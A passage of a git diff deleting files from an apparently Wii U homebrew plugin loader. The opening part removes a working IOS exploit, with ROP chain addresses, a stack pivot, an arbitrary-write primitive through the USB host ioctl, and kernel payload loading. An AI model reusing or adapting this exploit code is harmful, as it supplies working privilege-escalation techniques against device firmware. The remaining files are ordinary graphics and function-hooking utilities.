-    0x0,
-    0x1012EA68, // 0xAC         stack pivot
-};
-
-static void uhs_exploit_init(int32_t dev_uhs_0_handle, cfw_config_t * config) {
-    ayylmao[5] = 1;
-    ayylmao[8] = 0x500000;
-
-    memcpy((char*)(0xF4120000), second_chain, sizeof(second_chain));
-    memcpy((char*)(0xF4130000), final_chain, sizeof(final_chain));
-    memcpy((char*)(0xF4140000), ios_kernel_bin, sizeof(ios_kernel_bin));
-
-    payload_info_t *payloads = (payload_info_t*)0xF4148000;
-
-    payloads->size = sizeof(cfw_config_t);
-    memcpy(payloads->data, config, payloads->size);
-    payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
-
-    payloads->size = sizeof(ios_usb_bin);
-    memcpy(payloads->data, ios_usb_bin, payloads->size);
-    payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
-
-    payloads->size = sizeof(ios_fs_bin);
-    memcpy(payloads->data, ios_fs_bin, payloads->size);
-    payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
-
-    payloads->size = sizeof(ios_bsp_bin);
-    memcpy(payloads->data, ios_bsp_bin, payloads->size);
-    payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
-
-    payloads->size = sizeof(ios_acp_bin);
-    memcpy(payloads->data, ios_acp_bin, payloads->size);
-    payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
-
-    payloads->size = sizeof(ios_mcp_bin);
-    memcpy(payloads->data, ios_mcp_bin, payloads->size);
-    payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
-
-    /*if(config->launchImage){
-        FILE *pFile = fopen(APP_PATH "/launch_image.tga", "rb");
-        if(pFile)
-        {
-            fseek(pFile, 0, SEEK_END);
-            payloads->size = ftell(pFile);
-            fseek(pFile, 0, SEEK_SET);
-            fread(payloads->data, 1, payloads->size, pFile);
-            fclose(pFile);
-            payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
-        }
-        else
-        {
-            payloads->size = launch_image_tga_size;
-            memcpy(payloads->data, launch_image_tga, payloads->size);
-            payloads = (payload_info_t*)( ((char*)payloads) + ALIGN4(sizeof(payload_info_t) + payloads->size) );
-        }
-    }*/
-    pretend_root_hub[33] = 0x500000;
-    pretend_root_hub[78] = 0;
-
-    DCStoreRange(pretend_root_hub + 33, 200);
-    DCStoreRange((void*)0xF4120000, sizeof(second_chain));
-    DCStoreRange((void*)0xF4130000, sizeof(final_chain));
-    DCStoreRange((void*)0xF4140000, sizeof(ios_kernel_bin));
-    DCStoreRange((void*)0xF4148000, ((uint32_t)payloads) - 0xF4148000);
-}
-
-static int32_t uhs_write32(int32_t dev_uhs_0_handle, int32_t arm_addr, int32_t val) {
-    ayylmao[520] = arm_addr - 24;                    //!  The address to be overwritten, minus 24 bytes
-    DCStoreRange(ayylmao, 521 * 4);                  //!  Make CPU fetch new data (with updated adress)
-    OSSleepTicks(0x200000);                          //!  Improves stability
-    int32_t request_buffer[] = { -(0xBEA2C), val };      //! -(0xBEA2C) gets IOS_USB to read from the middle of MEM1
-    int32_t output_buffer[32];
-    return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
-}
-
-int32_t ExecuteIOSExploit(cfw_config_t * config) {
-    DEBUG_FUNCTION_LINE("Running ExecuteIOSExploit\n");
-    int32_t iosuhaxFd = IOS_Open("/dev/iosuhax", 0);
-    if(iosuhaxFd >= 0) {
-        int32_t dummy = 0;
-
-        IOS_Ioctl(iosuhaxFd, 0x03, &dummy, sizeof(dummy), &dummy, sizeof(dummy));
-
-        //! do not run patches again as that will most likely crash
-        //! because the wupserver and the iosuhax dev node are still running
-        //! just relaunch IOS with new configuration
-        IOS_Close(iosuhaxFd);
-    }
-
-    //! execute exploit
-    int32_t dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0);
-    if(dev_uhs_0_handle < 0) {
-        DEBUG_FUNCTION_LINE("Failed to open \"/dev/uhs/0\"\n");
-        return dev_uhs_0_handle;
-    }
-
-    uhs_exploit_init(dev_uhs_0_handle, config);
-    uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
-    uhs_write32(dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
-    uhs_write32(dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
-
-    uhs_write32(dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
-
-    IOS_Close(dev_uhs_0_handle);
-    DEBUG_FUNCTION_LINE("Function end\n");
-    return 0;
-}
-
-void ExecuteIOSExploitWithDefaultConfig() {
-    cfw_config_t config;
-    config.viewMode = 0;
-    config.directLaunch = 0;
-    config.launchImage = 0;
-    config.noIosReload = 1;
-    config.launchSysMenu = 0;
-    config.redNAND = 0;
-    config.seeprom_red = 0;
-    config.otp_red = 0;
-    config.syshaxXml = 0;
-    ExecuteIOSExploit(&config);
-}
diff --git a/src/myutils/mocha.h b/src/myutils/mocha.h
deleted file mode 100644
index a738507..0000000
--- a/src/myutils/mocha.h
+++ /dev/null
@@ -1,16 +0,0 @@
-#ifndef __MOCHA_HOOK_H_
-#define __MOCHA_HOOK_H_
-
-#include "../mocha/src/cfw_config.h"
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-void ExecuteIOSExploitWithDefaultConfig();
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif // __MOCHA_HOOK_H_
diff --git a/src/myutils/overlay_helper.cpp b/src/myutils/overlay_helper.cpp
deleted file mode 100644
index 6d7d492..0000000
--- a/src/myutils/overlay_helper.cpp
+++ /dev/null
@@ -1,174 +0,0 @@
-#include <utils/logger.h>
-#include <malloc.h>
-#include <wups.h>
-#include "common/retain_vars.h"
-#include "overlay_helper.h"
-#include <dynamic_libs/gx2_functions.h>
-
-uint32_t * getFromGX2Buffer(struct buffer_store store, uint32_t size) {
-    if(store.buffer != NULL) {
-        DEBUG_FUNCTION_LINE("We try to use the GX2 buffer. Needed space %08X (%d kb), available %08X (%d kb).\n",size,size/1024,store.buffer_size,store.buffer_size/1024);
-        if(store.buffer_size >= size) {
-            memset(store.buffer,0,store.buffer_size);
-            GX2Invalidate(GX2_INVALIDATE_CPU, store.buffer, store.buffer_size);
-            return (uint32_t*) store.buffer;
-        }
-    }
-    return NULL;
-}
-
-void overlay_helper(wups_overlay_options_type_t screen, overlay_callback callback, void * args) {
-    if(callback == NULL) {
-        return;
-    }
-    if(!OSIsHomeButtonMenuEnabled()) {
-        return; // This pauses the game. Make sure to only do it when the home button is allowed.
-    }
-
-    //TODO: Make sure this actually pauses the game (Hook on GX2VSync?) . Currently only tested from VPADRead which also pauses the game.
-
-    OSScreenInit();
-
-    uint32_t * screenbuffer0 = NULL;
-    uint32_t * screenbuffer1 = NULL;
-
-    bool allocated_tv = false;
-    bool allocated_drc = false;
-
-    if(screen == WUPS_OVERLAY_DRC_ONLY) {
-        uint32_t screen_buf1_size = OSScreenGetBufferSizeEx(1);
-        screenbuffer1 = getFromGX2Buffer(tv_store,screen_buf1_size);
-        if(screenbuffer1 == NULL) {
-            DEBUG_FUNCTION_LINE("We need to try to allocate buffer for the DRC.\n");
-            screenbuffer1 = (uint32_t*)memalign(0x100, screen_buf1_size);
-            if(screenbuffer1 != NULL) {
-                memset(screenbuffer1,0,screen_buf1_size);
-                DEBUG_FUNCTION_LINE("Successfully allocated DRC buffer!.\n");
-                allocated_drc = true;
-            }
-        }
-    } else if(screen == WUPS_OVERLAY_TV_ONLY) {
-        uint32_t screen_buf0_size = OSScreenGetBufferSizeEx(0);
-        screenbuffer0 = getFromGX2Buffer(tv_store,screen_buf0_size);
-
-        if(screenbuffer0 == NULL) {
-            DEBUG_FUNCTION_LINE("We need to try to allocate buffer for the TV.\n");
-            screenbuffer0 = (uint32_t*)memalign(0x100, screen_buf0_size);
-            if(screenbuffer0 != NULL) {
-                memset(screenbuffer0,0,screen_buf0_size);
-                DEBUG_FUNCTION_LINE("Successfully allocated TV buffer!.\n");
-                allocated_tv = true;
-            }
-        }
-    } else if( screen == WUPS_OVERLAY_DRC_AND_TV || screen == WUPS_OVERLAY_DRC_AND_TV_WITH_DRC_PRIO) {
-        // TV Buffer init.
-        uint32_t screen_buf0_size = OSScreenGetBufferSizeEx(0);
-        screenbuffer0 = getFromGX2Buffer(tv_store,screen_buf0_size);
-        if(screenbuffer0 == NULL) {
-            DEBUG_FUNCTION_LINE("We need to try to allocate buffer for the TV.\n");
-            screenbuffer0 = (uint32_t*)memalign(0x100, screen_buf0_size);
-            if(screenbuffer0 != NULL) {
-                memset(screenbuffer0,0,screen_buf0_size);
-                DEBUG_FUNCTION_LINE("Successfully allocated TV buffer!.\n");
-                allocated_tv = true;
-            }
-        }
-
-        // DRC Buffer init.
-        uint32_t screen_buf1_size = OSScreenGetBufferSizeEx(1);
-
-        // Doesn't fit in the GX2 DRC buffer, we don't need to check it.
-        DEBUG_FUNCTION_LINE("We need to try to allocate buffer for the DRC.\n");
-        screenbuffer1 = (uint32_t*)memalign(0x100, screen_buf1_size);
-        if(screenbuffer1 != NULL) {
-            DEBUG_FUNCTION_LINE("Successfully allocated DRC buffer!.\n");
-            allocated_drc = true;
-        }
-
-        if(screenbuffer1 == NULL) { // FAILED to allocate,
-            if(screen == WUPS_OVERLAY_DRC_AND_TV_WITH_DRC_PRIO) {
-                DEBUG_FUNCTION_LINE("Successfully allocated DRC buffer!.\n");
-                //but we can use the TV buffer from GX2.
-                if(!allocated_tv) { // Make sure it's not allocated
-                    screenbuffer0 = NULL; // Bye bye
-                }
-                screenbuffer1 = getFromGX2Buffer(tv_store,screen_buf1_size); // Use it! Hopefully this works.
-            }
-        }
-    }
-
-    if(screenbuffer0 == NULL && screenbuffer1 == NULL) {
-        goto error_exit;
-    }
-
-
-    if(screenbuffer0 != NULL) {
-        OSScreenSetBufferEx(0, (void *)screenbuffer0);
-    }
-    if(screenbuffer1 != NULL) {
-        OSScreenSetBufferEx(1, (void *)screenbuffer1);
-    }
-
-    if(screenbuffer0 != NULL) {
-        OSScreenEnableEx(0, 1);
-    }
-    if(screenbuffer1 != NULL) {
-        OSScreenEnableEx(1, 1);
-    }
-
-    // Clear screens
-    if(screenbuffer0 != NULL) {
-        OSScreenClearBufferEx(0, 0);
-    }
-    if(screenbuffer1 != NULL) {
-        OSScreenClearBufferEx(1, 0);
-    }
-
-    // Flip buffers
-    if(screenbuffer0 != NULL) {
-        OSScreenFlipBuffersEx(0);
-    }
-    if(screenbuffer1 != NULL) {
-        OSScreenFlipBuffersEx(1);
-    }
-
-    wups_overlay_options_type_t real_screen_type;
-
-    if(screenbuffer0 != NULL) {
-        if(screenbuffer1 != NULL) {
-            real_screen_type = WUPS_OVERLAY_DRC_AND_TV;
-        } else {
-            real_screen_type = WUPS_OVERLAY_TV_ONLY;
-        }
-    } else if(screenbuffer1 != NULL) {
-        real_screen_type = WUPS_OVERLAY_DRC_ONLY;
-    } else {
-        real_screen_type = WUPS_OVERLAY_NONE;
-    }
-
-    // call the callback.
-    if(real_screen_type != WUPS_OVERLAY_NONE) {
-        callback(real_screen_type, args);
-    }
-
-    if(tv_store.buffer != NULL) {
-        GX2SetTVBuffer(tv_store.buffer,tv_store.buffer_size,tv_store.mode,tv_store.surface_format,tv_store.buffering_mode);
-    }
-
-    if(drc_store.buffer != NULL) {
-        GX2SetDRCBuffer(drc_store.buffer,drc_store.buffer_size,drc_store.mode,drc_store.surface_format,drc_store.buffering_mode);
-    }
-
-error_exit:
-    if(allocated_tv) {
-        free(screenbuffer0);
-        screenbuffer0 = NULL;
-    }
-
-    if(allocated_drc) {
-        free(screenbuffer1);
-        screenbuffer1 = NULL;
-    }
-
-    return;
-}
diff --git a/src/myutils/overlay_helper.h b/src/myutils/overlay_helper.h
deleted file mode 100644
index 62ddfd4..0000000
--- a/src/myutils/overlay_helper.h
+++ /dev/null
@@ -1,24 +0,0 @@
-#ifndef __OVERLAY_HELPER_H_
-#define __OVERLAY_HELPER_H_
-
-#include <wups.h>
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-struct buffer_store {
-    void * buffer;
-    int32_t buffer_size;
-    int32_t mode;
-    int32_t surface_format;
-    volatile int32_t buffering_mode;
-};
-
-#ifdef __cplusplus
-}
-#endif
-
-void overlay_helper(wups_overlay_options_type_t screen, overlay_callback callback, void * args);
-
-#endif
diff --git a/src/myutils/texture_utils.cpp b/src/myutils/texture_utils.cpp
deleted file mode 100644
index 80ee23b..0000000
--- a/src/myutils/texture_utils.cpp
+++ /dev/null
@@ -1,174 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-#include <utils/logger.h>
-#include "texture_utils.h"
-#include <wups.h>
-#include <gd.h>
-#include <dynamic_libs/gx2_functions.h>
-#include <dynamic_libs/gx2_types.h>
-#include "mem_utils.h"
-
-void gdImageToUnormR8G8B8A8(gdImagePtr gdImg, u32 *imgBuffer, u32 width, u32 height, u32 pitch) {
-    for(u32 y = 0; y < height; ++y) {
-        for(u32 x = 0; x < width; ++x) {
-            u32 pixel = gdImageGetPixel(gdImg, x, y);
-
-            u8 a = 254 - 2*((u8)gdImageAlpha(gdImg, pixel));
-            if(a == 254)
-                a++;
-
-            u8 r = gdImageRed(gdImg, pixel);
-            u8 g = gdImageGreen(gdImg, pixel);
-            u8 b = gdImageBlue(gdImg, pixel);
-
-            imgBuffer[y * pitch + x] = (r << 24) | (g << 16) | (b << 8) | (a);
-        }
-    }
-}
-
-
-void TextureUtils::drawTexture(GX2Texture * texture, GX2Sampler* sampler, float x, float y, int32_t width, int32_t height, float alpha = 1.0f) {
-    float widthScaleFactor = 1.0f / (float)1280;
-    float heightScaleFactor = 1.0f / (float)720;
-
-    glm::vec3 positionOffsets = glm::vec3(0.0f);
-
-    positionOffsets[0] = (x-((1280)/2)+(width/2)) * widthScaleFactor * 2.0f;
-    positionOffsets[1] = -(y-((720)/2)+(height/2)) * heightScaleFactor * 2.0f;
-
-    glm::vec3 scale(width*widthScaleFactor,height*heightScaleFactor,1.0f);
-
-    Texture2DShader::instance()->setShaders();
-    Texture2DShader::instance()->setAttributeBuffer();
-    Texture2DShader::instance()->setAngle(0.0f);
-    Texture2DShader::instance()->setOffset(positionOffsets);
-    Texture2DShader::instance()->setScale(scale);
-    Texture2DShader::instance()->setColorIntensity(glm::vec4(alpha));
-    Texture2DShader::instance()->setBlurring(glm::vec3(0.0f));
-    Texture2DShader::instance()->setTextureAndSampler(texture, sampler);
-    Texture2DShader::instance()->draw();
-}
-
-
-void TextureUtils::copyToTexture(GX2ColorBuffer* sourceBuffer, GX2Texture * target) {
-    if(sourceBuffer == NULL || target == NULL) {
-        return;
-    }
-    if (sourceBuffer->surface.aa == GX2_AA_MODE_1X) {
-        // If AA is disabled, we can simply use GX2CopySurface.
-        GX2CopySurface(&sourceBuffer->surface,
-                       sourceBuffer->view_mip,
-                       sourceBuffer->view_first_slice,
-                       &target->surface, 0, 0);
-        GX2DrawDone();
-    } else {
-        // If AA is enabled, we need to resolve the AA buffer.
-
-        // Allocate surface to resolve buffer onto
-        GX2Surface tempSurface;
-        tempSurface = sourceBuffer->surface;
-        tempSurface.aa = GX2_AA_MODE_1X;
-        GX2CalcSurfaceSizeAndAlignment(&tempSurface);
-
-        tempSurface.image_data = MemoryUtils::alloc(
-                                     tempSurface.image_size,
-                                     tempSurface.align
-                                 );
-        if(tempSurface.image_data == NULL) {
-            DEBUG_FUNCTION_LINE("VideoSquoosher: failed to allocate AA surface\n");
-            if(target->surface.image_data != NULL) {
-                MemoryUtils::free(target->surface.image_data);
-                target->surface.image_data = NULL;
-            }
-            return;
-        }
-
-        // Resolve, then copy result to target
-        GX2ResolveAAColorBuffer(sourceBuffer,&tempSurface, 0, 0);
-        GX2CopySurface(&tempSurface, 0, 0,&target->surface, 0, 0);
-
-        if(tempSurface.image_data != NULL) {
-            MemoryUtils::free(tempSurface.image_data);
-            tempSurface.image_data = NULL;
-        }
-        GX2DrawDone();
-        GX2Invalidate(GX2_INVALIDATE_CPU, target->surface.image_data, target->surface.image_size);
-    }
-}
-
-bool TextureUtils::convertImageToTexture(const uint8_t *img, int32_t imgSize, void * _texture) {
-    if(!img || (imgSize < 8) || _texture == NULL) {
-        return false;
-    }
-    GX2Texture * texture = (GX2Texture *) _texture;
-
-    gdImagePtr gdImg = 0;
-
-    if (img[0] == 0xFF && img[1] == 0xD8) {
-        //! not needed for now therefore comment out to safe ELF size
-        //! if needed uncomment, adds 200 kb to the ELF size
-        // IMAGE_JPEG
-        gdImg = gdImageCreateFromJpegPtr(imgSize, (uint8_t*) img);
-    } else if (img[0] == 'B' && img[1] == 'M') {
-        // IMAGE_BMP
-        //gdImg = gdImageCreateFromBmpPtr(imgSize, (uint8_t*) img);
-    } else if (img[0] == 0x89 && img[1] == 'P' && img[2] == 'N' && img[3] == 'G') {
-        // IMAGE_PNG
-        gdImg = gdImageCreateFromPngPtr(imgSize, (uint8_t*) img);
-    }
-    //!This must be last since it can also intefere with outher formats
-    else if(img[0] == 0x00) {
-        // Try loading TGA image
-        //gdImg = gdImageCreateFromTgaPtr(imgSize, (uint8_t*) img);
-    }
-
-    if(gdImg == 0) {
-        return false;
-    }
-
-    uint32_t width = (gdImageSX(gdImg));
-    uint32_t height = (gdImageSY(gdImg));
-
-    //! Initialize texture
-    GX2InitTexture(texture, width,  height, 1, 0, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_LINEAR_ALIGNED);
-
-    //! if this fails something went horribly wrong
-    if(texture->surface.image_size == 0) {
-        gdImageDestroy(gdImg);
-        return false;
-    }
-
-    texture->surface.image_data = MemoryUtils::alloc(texture->surface.image_size, texture->surface.align);
-
-    //! check if memory is available for image
-    if(!texture->surface.image_data) {
-        gdImageDestroy(gdImg);
-        return false;
-    }
-
-    //! set mip map data pointer
-    texture->surface.mip_data = NULL;
-
-    gdImageToUnormR8G8B8A8(gdImg, (uint32_t*)texture->surface.image_data, texture->surface.width, texture->surface.height, texture->surface.pitch);
-
-    //! free memory of image as its not needed anymore
-    gdImageDestroy(gdImg);
-
-    //! invalidate the memory
-    GX2Invalidate(GX2_INVALIDATE_CPU_TEXTURE, texture->surface.image_data, texture->surface.image_size);
-    return true;
-}
diff --git a/src/myutils/texture_utils.h b/src/myutils/texture_utils.h
deleted file mode 100644
index fc369d3..0000000
--- a/src/myutils/texture_utils.h
+++ /dev/null
@@ -1,33 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2018 Maschell
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-#ifndef __TEXTURE_UTILS_UTILS_H_
-#define __TEXTURE_UTILS_UTILS_H_
-#include <stdint.h>
-#include <dynamic_libs/gx2_functions.h>
-#include <video/shaders/Texture2DShader.h>
-
-class TextureUtils {
-public:
-    static bool convertImageToTexture(const uint8_t *img, int32_t imgSize, void * texture);
-    static void drawTexture(GX2Texture * texture, GX2Sampler* sampler, float x, float y, int32_t width, int32_t height, float alpha);
-    static void copyToTexture(GX2ColorBuffer* sourceBuffer, GX2Texture * target);
-private:
-    TextureUtils() {}
-    ~TextureUtils() {}
-
-};
-#endif
diff --git a/src/patcher/function_patcher.cpp b/src/patcher/function_patcher.cpp
deleted file mode 100644
index 8cb9adc..0000000
--- a/src/patcher/function_patcher.cpp
+++ /dev/null
@@ -1,365 +0,0 @@
-/****************************************************************************
- * Copyright (C) 2016-2018 Maschell
- * With code from chadderz and dimok
- *
- * This program is free software: you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation, either version 3 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program.  If not, see <http://www.gnu.org/licenses/>.
- ****************************************************************************/
-
-#include <vector>
-#include <algorithm>
-#include <stdio.h>
-#include <malloc.h>
-#include <string.h>
-#include <wups.h>
-
-#include "function_patcher.h"
-#include <utils/logger.h>
-#include <kernel/kernel_defs.h>
-#include <kernel/syscalls.h>
-
-#define DEBUG_LOG_DYN                                   0
-
-rpl_handling rpl_handles[] __attribute__((section(".data"))) = {
-    {WUPS_LOADER_LIBRARY_AVM,       "avm.rpl",      0},
-    {WUPS_LOADER_LIBRARY_CAMERA,    "camera.rpl",   0},
-    {WUPS_LOADER_LIBRARY_COREINIT,  "coreinit.rpl", 0},
-    {WUPS_LOADER_LIBRARY_DC,        "dc.rpl",       0},
-    {WUPS_LOADER_LIBRARY_DMAE,      "dmae.rpl",     0},
-    {WUPS_LOADER_LIBRARY_DRMAPP,    "drmapp.rpl",   0},
-    {WUPS_LOADER_LIBRARY_ERREULA,   "erreula.rpl",  0},
-    {WUPS_LOADER_LIBRARY_GX2,       "gx2.rpl",      0},
-    {WUPS_LOADER_LIBRARY_H264,      "h264.rpl",     0},
-    {WUPS_LOADER_LIBRARY_LZMA920,   "lzma920.rpl",  0},
-    {WUPS_LOADER_LIBRARY_MIC,       "mic.rpl",      0},
-    {WUPS_LOADER_LIBRARY_NFC,       "nfc.rpl",      0},
-    {WUPS_LOADER_LIBRARY_NIO_PROF,  "nio_prof.rpl", 0},
-    {WUPS_LOADER_LIBRARY_NLIBCURL,  "nlibcurl.rpl", 0},
-    {WUPS_LOADER_LIBRARY_NLIBNSS,   "nlibnss.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NLIBNSS2,  "nlibnss2.rpl", 0},
-    {WUPS_LOADER_LIBRARY_NN_AC,     "nn_ac.rpl",    0},
-    {WUPS_LOADER_LIBRARY_NN_ACP,    "nn_acp.rpl",   0},
-    {WUPS_LOADER_LIBRARY_NN_ACT,    "nn_act.rpl",   0},
-    {WUPS_LOADER_LIBRARY_NN_AOC,    "nn_aoc.rpl",   0},
-    {WUPS_LOADER_LIBRARY_NN_BOSS,   "nn_boss.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NN_CCR,    "nn_ccr.rpl",   0},
-    {WUPS_LOADER_LIBRARY_NN_CMPT,   "nn_cmpt.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NN_DLP,    "nn_dlp.rpl",   0},
-    {WUPS_LOADER_LIBRARY_NN_EC,     "nn_ec.rpl",    0},
-    {WUPS_LOADER_LIBRARY_NN_FP,     "nn_fp.rpl",    0},
-    {WUPS_LOADER_LIBRARY_NN_HAI,    "nn_hai.rpl",   0},
-    {WUPS_LOADER_LIBRARY_NN_HPAD,   "nn_hpad.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NN_IDBE,   "nn_idbe.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NN_NDM,    "nn_ndm.rpl",   0},
-    {WUPS_LOADER_LIBRARY_NN_NETS2,  "nn_nets2.rpl", 0},
-    {WUPS_LOADER_LIBRARY_NN_NFP,    "nn_nfp.rpl",   0},
-    {WUPS_LOADER_LIBRARY_NN_NIM,    "nn_nim.rpl",   0},
-    {WUPS_LOADER_LIBRARY_NN_OLV,    "nn_olv.rpl",   0},
-    {WUPS_LOADER_LIBRARY_NN_PDM,    "nn_pdm.rpl",   0},
-    {WUPS_LOADER_LIBRARY_NN_SAVE,   "nn_save.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NN_SL,     "nn_sl.rpl",    0},
-    {WUPS_LOADER_LIBRARY_NN_SPM,    "nn_spm.rpl",   0},
-    {WUPS_LOADER_LIBRARY_NN_TEMP,   "nn_temp.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NN_UDS,    "nn_uds.rpl",   0},
-    {WUPS_LOADER_LIBRARY_NN_VCTL,   "nn_vctl.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NSYSCCR,   "nsysccr.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NSYSHID,   "nsyshid.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NSYSKBD,   "nsyskbd.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NSYSNET,   "nsysnet.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NSYSUHS,   "nsysuhs.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NSYSUVD,   "nsysuvd.rpl",  0},
-    {WUPS_LOADER_LIBRARY_NTAG,      "ntag.rpl",     0},
-    {WUPS_LOADER_LIBRARY_PADSCORE,  "padscore.rpl", 0},
-    {WUPS_LOADER_LIBRARY_PROC_UI,   "proc_ui.rpl",  0},
-    {WUPS_LOADER_LIBRARY_SNDCORE2,  "sndcore2.rpl", 0},
-    {WUPS_LOADER_LIBRARY_SNDUSER2,  "snduser2.rpl", 0},
-    {WUPS_LOADER_LIBRARY_SND_CORE,  "snd_core.rpl", 0},
-    {WUPS_LOADER_LIBRARY_SND_USER,  "snd_user.rpl", 0},
-    {WUPS_LOADER_LIBRARY_SWKBD,     "swkbd.rpl",    0},
-    {WUPS_LOADER_LIBRARY_SYSAPP,    "sysapp.rpl",   0},
-    {WUPS_LOADER_LIBRARY_TCL,       "tcl.rpl",      0},
-    {WUPS_LOADER_LIBRARY_TVE,       "tve.rpl",      0},
-    {WUPS_LOADER_LIBRARY_UAC,       "uac.rpl",      0},
-    {WUPS_LOADER_LIBRARY_UAC_RPL,   "uac_rpl.rpl",  0},
-    {WUPS_LOADER_LIBRARY_USB_MIC,   "usb_mic.rpl",  0},
-    {WUPS_LOADER_LIBRARY_UVC,       "uvc.rpl",      0},
-    {WUPS_LOADER_LIBRARY_UVD,       "uvd.rpl",      0},
-    {WUPS_LOADER_LIBRARY_VPAD,      "vpad.rpl",     0},
-    {WUPS_LOADER_LIBRARY_VPADBASE,  "vpadbase.rpl", 0},
-    {WUPS_LOADER_LIBRARY_ZLIB125,   "zlib125.rpl",  0}
-};
-
-void new_PatchInvidualMethodHooks(replacement_data_plugin_t * plugin_data) {
-    InitAcquireOS();
-    new_resetLibs();
-
-    DEBUG_FUNCTION_LINE("Patching %d given functions\n",plugin_data->number_used_functions);
-
-    int32_t method_hooks_count = plugin_data->number_used_functions;
-
-    uint32_t skip_instr = 1;
-    uint32_t my_instr_len = 6;
-    uint32_t instr_len = my_instr_len + skip_instr + 6;
-    uint32_t flush_len = 4*instr_len;
-    for(int32_t i = 0; i < method_hooks_count; i++) {
-        replacement_data_function_t * function_data = &plugin_data->functions[i];
-        /* Patch branches to it.  */
-        volatile uint32_t *space = function_data->replace_data;
-
-        DEBUG_FUNCTION_LINE("Patching %s ...\n",function_data->function_name);
-        if(function_data->functionType == STATIC_FUNCTION && function_data->alreadyPatched == 1) {
-            if(new_isDynamicFunction((uint32_t)OSEffectiveToPhysical((void*)function_data->realAddr))) {
-                DEBUG_FUNCTION_LINE("INFO: The function %s is a dynamic function.\n", function_data->function_name);
-                function_data->functionType = DYNAMIC_FUNCTION;
-            } else {
-                DEBUG_FUNCTION_LINE("Skipping %s, its already patched\n", function_data->function_name);
-                continue;
-            }
-        }
-
-        uint32_t physical = 0;
-        uint32_t repl_addr = (uint32_t)function_data->replaceAddr;
-        uint32_t call_addr = (uint32_t)function_data->replaceCall;
-
-        uint32_t real_addr = new_GetAddressOfFunction(function_data->function_name,function_data->library);
-
-        if(!real_addr) {
-            log_printf("\n");
-            DEBUG_FUNCTION_LINE("OSDynLoad_FindExport failed for %s\n", function_data->function_name);
-            continue;
-        }
-
-        if(DEBUG_LOG_DYN) {
-            DEBUG_FUNCTION_LINE("%s is located at %08X!\n", function_data->function_name,real_addr);
-        }
-
-        physical = (uint32_t)OSEffectiveToPhysical((void*)real_addr);
-        if(!physical) {
-            log_printf("Error. Something is wrong with the physical address\n");
-            continue;
-        }
-
-        if(DEBUG_LOG_DYN) {
-            DEBUG_FUNCTION_LINE("%s physical is located at %08X!\n", function_data->function_name,physical);
-        }
-
-        *(volatile uint32_t *)(call_addr) = (uint32_t)(space);
-
-
-        SC0x25_KernelCopyData((uint32_t)space, physical, 4);
-        space++;
-
-        //Only works if skip_instr == 1
-        if(skip_instr == 1) {
-            // fill the restore instruction section
-            function_data->realAddr = real_addr;
-            function_data->restoreInstruction = *(space-1);
-            if(DEBUG_LOG_DYN) {
-                DEBUG_FUNCTION_LINE("function_data->realAddr = %08X!\n", function_data->realAddr);
-            }
-            if(DEBUG_LOG_DYN) {
-                DEBUG_FUNCTION_LINE("function_data->restoreInstruction = %08X!\n",function_data->restoreInstruction) ;
-            }
-        } else {
